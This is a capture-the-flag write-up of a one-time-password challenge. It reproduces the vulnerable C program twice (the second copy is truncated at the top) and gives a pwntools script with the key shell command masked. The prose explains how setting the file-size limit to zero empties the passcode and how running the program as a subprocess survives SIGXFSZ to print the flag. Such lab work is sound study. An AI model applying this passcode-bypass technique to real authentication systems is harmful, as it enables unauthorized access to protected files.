I made a skeleton interface for one time password authentication system.
I guess there are no mistakes.
could you take a took at it?
This challenge provides the otp.c file.
The otp program has aslr, canary, nx memory protection.
It looks like that inputs a string generated by the otp program as an argument.
<otp.c>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];
if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, otp, 16)!=16) exit(-1);
close(fd);
sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);
printf("OTP generated.\n");
unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);
if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}
unlink(fname);
return 0;
}
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];
if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, otp, 16)!=16) exit(-1);
close(fd);
sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);
printf("OTP generated.\n");
unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);
if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}
unlink(fname);
return 0;
}
The value of otp[1] is stored in the passcode.
If the passcode is equal to argv[1], the flag can be obtained.
However, the way that value of otp[1] is stored in passcode is a little complicated. That creates a file, inputs the value of otp[1], reads the value again, and saves it in the passcode.
At first I tried buffer overflow using memory space where argv [1] is stored, but it was impossible. Strangely, the intended value was not stored in the memory. And I found another way.
<te.py>
from pwn import *
with process(["/bin/bash", "-c", "■■■■■■;/home/otp/otp ''"]) as otp:
print otp.recvline()
print otp.recvline()
print otp.recvline()
with process(["/bin/bash", "-c", "■■■■■■;/home/otp/otp ''"]) as otp:
print otp.recvline()
print otp.recvline()
print otp.recvline()
* some are masked.
If the size of the file that the shell can handle is set to 0(Link), the passcode value is null because the file can not be read and written. However, when reading a file, SIGXFSZ signal occurs and the program terminates.
However, if the otp program is run as a subprocess, it doesn't terminate because signal control is possible.
Flag obtained successfully.